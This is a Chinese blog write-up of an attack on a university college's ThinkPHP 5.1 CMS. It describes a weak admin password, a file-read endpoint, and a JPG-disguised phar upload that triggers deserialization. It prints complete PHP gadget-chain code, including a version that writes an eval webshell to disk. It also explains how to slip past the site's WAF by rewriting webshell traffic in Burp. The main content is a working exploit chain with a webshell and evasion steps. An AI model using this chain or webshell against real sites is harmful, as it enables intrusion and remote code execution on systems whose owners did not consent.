当前位置: 首页 > news >正文

某某大学某学院后台Phar反序列化GetShell

觉得这个洞还算有点意思,可以记录一下

首先在另一个二级学院进行目录扫描时发现源码www.rar,并且通过一些页面测试推测这两个二级学院应该是使用了同一套CMS

分析源码,发现使用的是ThinkPHP 5.1.34 LTS框架

在这里插入图片描述

通过APP、Public得到后台访问路径/bhadmin

在这里插入图片描述

在这里插入图片描述

后台登陆存在弱口令(弱口令真是永远滴神):admin/123456

分析源码,发现在System控制器下有一个showlog()方法

在这里插入图片描述

	public function showlog(){$path    = input('post.path','');if ($path == '') return json(0);if (!file_exists($path)) return json('文件不存在');$content = file_get_contents($path,false);return json($content);}

$path接收的是post传参,参数名是path,如果$path为空,返回为0,否则会检测该文件是否存在,如果存在则file_get_content()读取成json格式返回。input()方法功能如下:

if (!function_exists('input')) {/*** 获取输入数据 支持默认值和过滤* @param string    $key 获取的变量名* @param mixed     $default 默认值* @param string    $filter 过滤方法* @return mixed*/function input($key = '', $default = null, $filter = ''){if (0 === strpos($key, '?')) {$key = substr($key, 1);$has = true;}if ($pos = strpos($key, '.')) {// 指定参数来源$method = substr($key, 0, $pos);if (in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {$key = substr($key, $pos + 1);} else {$method = 'param';}} else {// 默认为自动判断$method = 'param';}if (isset($has)) {return request()->has($key, $method, $default);} else {return request()->$method($key, $default, $filter);}}
}

showlog()方法参数可控,并且$path传入file_exists()file_get_contents(),首先这里是一个任意文件读取,但是重点不是这个哈,并且ThinkPHP 5.1.x在网上有很多公开的反序列化利用链。众所周知。Phar在压缩文件包时,会以序列化的形式存储用户自定义的meta-data,配合phar://协议就能在某些函数(一般是文件操作函数)等参数可控的情况下实现自动反序列化操作。

对Phar反序列化有不理解的可以参考我的这篇文章:由浅入深理解PHP反序列化漏洞

那么我们如果在后台传入一个构造好的phar文件,然后在$path的位置使用Phar://协议访问改文件,即可触发phar反序列化showlog方法的访问路由:/bhadmin/system/showlog

在这里插入图片描述

然后需要找到一个上传点,并且能获取上传文件的绝对路径。

在这里插入图片描述

添加资料这里有个编辑器,可以上传图片预览,可获得绝对路径

在这里插入图片描述

综上所述即可构造Phar反序列化GetShell,直接用网上公开的链子

<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct($function,$parameter){$this->data['smi1e'] = $parameter;$this->withAttr['smi1e'] = $function;}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function, $parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}

同目录下随便放一张名为pic.jpg的图片,运行该文件,将生成的test.phar修改后缀为test.jpg然后上传

在这里插入图片描述

回到showlog()方法处,直接触发:触发:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg

在这里插入图片描述
构造写入Shell

<?php
namespace think{abstract class Model{private $withAttr = [];private $data = [];public function __construct(){$this->data['smi1e'] = 'D:\\xxx\\xxx\\xxx\\public\\kindedit\\attached\\image\\20230531\\d72a3676c4413.php';$this->data['jelly'] = '<?php @eval($_POST[m]);?>';$this->withAttr['smi1e'] = 'file_put_contents';}}
}namespace think\model{use think\Model;class Pivot extends Model{}
}namespace think\process\pipes {use Phar;use think\model\Pivot;class Windows{private $files = [];public function __construct($function, $parameter){$this->files = [new Pivot($function, $parameter)];}}$function = 'assert';$parameter = 'phpinfo()';$a = new Windows($function,$parameter);$phar = new Phar('test.phar');$phar->stopBuffering();$phar->setStub(file_get_contents("pic.jpg") . '<?php __HALT_COMPILER(); ?>');$phar->addFromString('test.txt', 'test');$phar->setMetadata($a);$phar->stopBuffering();
}

在这里插入图片描述
成功写入shell,但是蚁剑连接还是报错,猜测有waf

在这里插入图片描述
把蚁剑流量代理到Burp

在这里插入图片描述

测试发现确实是有WAF

在这里插入图片描述

但是经过多次测试发现这个waf比较友好,过滤了@base64_decode关键字,可以绕过,base64_decode可以使用拼接绕过,@直接可以去掉,不影响功能,直接使用Burp的匹配/替换功能

在这里插入图片描述
绕过waf之后即可成功连接shell

在这里插入图片描述
在这里插入图片描述

如果觉得这样代理到burp做替换不太方便,也可以上传冰蝎的AES加密shell,就不用绕过waf

在这里插入图片描述

http://www.lryc.cn/news/103490.html

相关文章:

  • 【ChatGPT辅助学Rust | 基础系列 | 基础语法】变量,数据类型,运算符,控制流
  • 使用云服务器和Frp(快速反向代理)框架快速部署实现内网穿透
  • Mac 上使用 Tesseract OCR 识别图片文本
  • 《MapboxGL 基础知识点》- 放大/缩小/定位/级别
  • VScode的简单使用
  • # Unity 如何获取Texture 的内存大小
  • dolphinscheduler switch+传参无坑版
  • VINS-fusion安装
  • 智慧消防:如何基于视频与智能分析技术搭建可视化风险预警平台?
  • selenium定位元素的方法
  • RISC-V特权级别
  • RISC-V 指令集介绍
  • 操作系统5
  • K8S系列文章之 Docker常用命令
  • 谷歌: 安卓补丁漏洞让 N-days 与 0-days 同样危险
  • linux 学成之路(基础篇)(二十三)MySQL服务(下)
  • MySQL初探
  • blender 用蒙版添加材质
  • 前端面试的性能优化部分(2)每篇10题
  • Spring——Spring是什么?IoC容器是什么?
  • 【CNN-BiLSTM-attention】基于高斯混合模型聚类的风电场短期功率预测方法(Pythonmatlab代码实现)
  • golang深刻剖析——channel
  • ERROR in unable to locate ‘***/public/**/*‘ glob
  • 简述一下你了解的 Java 设计模式
  • [开发] 认证的几种方式简介
  • ansible-playbook roles模块编写lnmp剧本
  • 什么是汽车软件的模糊测试?
  • Datax使用
  • HTML不常用但是好用的标签
  • 蓝桥杯2018省赛全球变暖dfs